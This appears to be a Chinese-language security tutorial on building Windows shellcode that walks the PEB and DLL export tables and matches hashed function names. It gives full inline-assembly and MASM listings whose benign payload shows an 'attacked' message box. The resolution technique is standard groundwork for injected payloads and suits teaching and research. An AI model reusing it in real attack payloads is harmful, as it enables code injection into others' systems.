动态定位 API 地址的 shellcode
TOC
1. 信息
信息 下面我们将给 shellcode 加入自动定位 API 的功能。为了实现弹出消息框并显示“attacked”的功能,需要使用如下 API 函数。
(1)MessageBoxA 位于 user32.dll 中,用于弹出消息框。
(2)ExitProcess 位于 kernel32.dll 中,用于正常退出程序。
(3)LoadLibraryA 位于 kernel32.dll 中。并不是所有的程序都会装载 user32.dll,所以在我们调用 MessageBoxA 之前,应该先使用 LoadLibrary(“user32.dll”)装载其所属的动态链接库。
通过前面介绍的 win_32 平台下搜索 API 地址的办法,我们可以从 FS 所指的线程环境块开始,一直追溯到动态链接库的函数名导出表,在其中搜索出所需的 API 函数是第几个,然后在函数偏移地址(RVA)导出表中找到这个地址。
由于 shellcode 最终是要放进缓冲区的,为了让 shellcode 更加通用,能被大多数缓冲区容纳,我们总是希望 shellcode 尽可能短。因此,在函数名导出表中搜索函数名的时候,一般情况下并不会用“MessageBoxA”这么长的字符串去进行直接比较。
通常情况下,我们会对所需的 API 函数名进行 hash 运算,在搜索导出表时对当前遇到的函数名也进行同样的 hash,这样只要比较 hash 所得的摘要(digest)就能判定是不是我们所需的 API了。虽然这种搜索方法需要引入额外的 hash 算法,但是可以节省出存储函数名字符串的代码。
本节实验中所用 hash 函数的 C 代码如下。
#include <stdio.h> #include <stdlib.h> unsigned int GetHash (char *fun_name) { unsigned int digest=0 ; while (*fun_name) { digest=((digest<<25 )|(digest>>7 )); digest+= *fun_name ; fun_name++; } return digest; } int main (int argc,char **args) { unsigned int hash; if (argc!=2 ) { fprintf (stderr,"Error argument\n" ); exit (1 ); } hash= GetHash (args[1 ]); printf ("result of hash is %08X\n" ,hash); }
在将 hash 压入栈中之前,注意先将增量标志 DF 清零。因为当 shellcode 是利用异常处理机制而植入的时候,往往会产生标志位的变化,使 shellcode 中的字串处理方向发生变化而产生错误(如指令 LODSD)。如果您在堆溢出利用中发现原本身经百战的 shellcode 在运行时出错,很可能就是这个原因。总之,一个字节的指令可以大大增加 shellcode 的通用性。
现在可以将这些 hash 结果压入栈中,并用一个寄存器标识位置,以备后面搜索 API 函数时使用。
;储存hash值
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
然后实现下面的代码。
int main () { __asm { cld push ebp mov ebp,esp xor edx,edx dec edx push 0x0c917432 push 0x4fd18963 push 0x1e380a6a mov eax, fs:[0x30 ] mov eax, [eax + 0x0c ] mov eax, [eax + 0x1c ] mov eax, [eax] mov edi, [eax + 0x08 ] find_lib_functions: mov eax,[ebp+edx*4 ] cmp eax, 0x1e380a6a jne find_functions push edx push 0x00003233 push 0x72657375 push esp call [ebp - 1 *4 ] add esp,8 pop edx mov edi,eax find_functions: mov eax, [edi + 0x3c ] mov eax, [edi + eax + 0x78 ] mov ecx,[edi + eax + 0x24 ] add ecx,edi push ecx mov ecx,[edi + eax + 0x1c ] add ecx,edi push ecx mov eax,[edi + eax + 0x20 ] mov esi,edi add esi,eax xor ecx,ecx next_function_loop: mov eax,[esi+ecx*4 ] add eax,edi push ecx mov ecx,eax xor ebx,ebx hash_loop: movsx eax,byte ptr[ecx] cmp al,ah jz compare_hash ror ebx,7 add ebx,eax inc ecx jmp hash_loop compare_hash: pop ecx inc ecx cmp ebx,[ebp+edx*4 ] jnz next_function_loop dec ecx pop eax pop ebx mov cx,[ebx+ecx*2 ] mov eax,[eax + ecx*4 ] add eax,edi mov [ebp+edx*4 ],eax sub edx,1 cmp edx,0xfffffffc jne find_lib_functions function_cal1: xor ebx,ebx push ebx push 0x64656B63 push 0x61747461 mov eax,esp push ebx push eax push eax push ebx call[ebp - 3 *4 ] push ebx call[ebp - 2 *4 ] } }
因为在Win10中,ntdll.dll和kernel32.dll库中间还有一个kernelbase.dll库,Xp是没有的,所以上面的代码在Win10跑会出错,而且Win10的VS2017对汇编的支持力度不够,用cl.exe编译的话,会出现hash_loop无定义的问题,所以下面的代码我用汇编来实现。
测试环境:Win10 + vs2017
编译选项:无
.686P ;接受全部Pentium Pro指令 .XMM ;接受MMX指令 include listing. inc .model flat ;创建一个32 位的程序,运行在IA-32 微处理器的32 位Windows操作系统 assume fs :nothing ;在使用fs 寄存器的时候先assume fs :nothing INCLUDELIB LIBCMT INCLUDELIB OLDNAMES PUBLIC _main_TEXT SEGMENT _main PROC cld push ebp mov ebp ,esp xor edx ,edx dec edx push 0c917432h push 4fd18963h push 1e380a6ah mov eax , fs :[30h ] mov eax , [eax + 0ch ] mov eax , [eax + 1ch ] mov eax , [eax ] mov eax , [eax ] mov edi , [eax + 08h ] find_lib_functions: mov eax ,[ebp +edx *4 ] cmp eax , 1e380a6ah jne find_functions push edx push 00003233h push 72657375h push esp call dword ptr [ebp - 1 *4 ] add esp ,8 pop edx mov edi ,eax find_functions: mov eax , [edi + 3ch ] mov eax , [edi + eax + 78h ] mov ecx ,[edi + eax + 24h ] add ecx ,edi push ecx mov ecx ,[edi + eax + 1ch ] add ecx ,edi push ecx mov eax ,[edi + eax + 20h ] mov esi ,edi add esi ,eax xor ecx ,ecx next_function_loop: mov eax ,[esi +ecx *4 ] add eax ,edi push ecx mov ecx ,eax xor ebx ,ebx hash_loop: movsx eax ,byte ptr [ecx ] cmp al ,ah jz compare_hash ror ebx ,7 add ebx ,eax inc ecx jmp hash_loop compare_hash: pop ecx inc ecx cmp ebx ,[ebp +edx *4 ] jnz next_function_loop dec ecx pop eax pop ebx mov cx ,[ebx +ecx *2 ] mov eax ,[eax + ecx *4 ] add eax ,edi mov [ebp +edx *4 ],eax sub edx ,1 cmp edx ,0fffffffch jne find_lib_functions function_cal1: xor ebx ,ebx push ebx push 64656B63h push 61747461h mov eax ,esp push ebx push eax push eax push ebx call dword ptr [ebp - 3 *4 ] push ebx call dword ptr [ebp - 2 *4 ] _main ENDP _TEXT ENDS END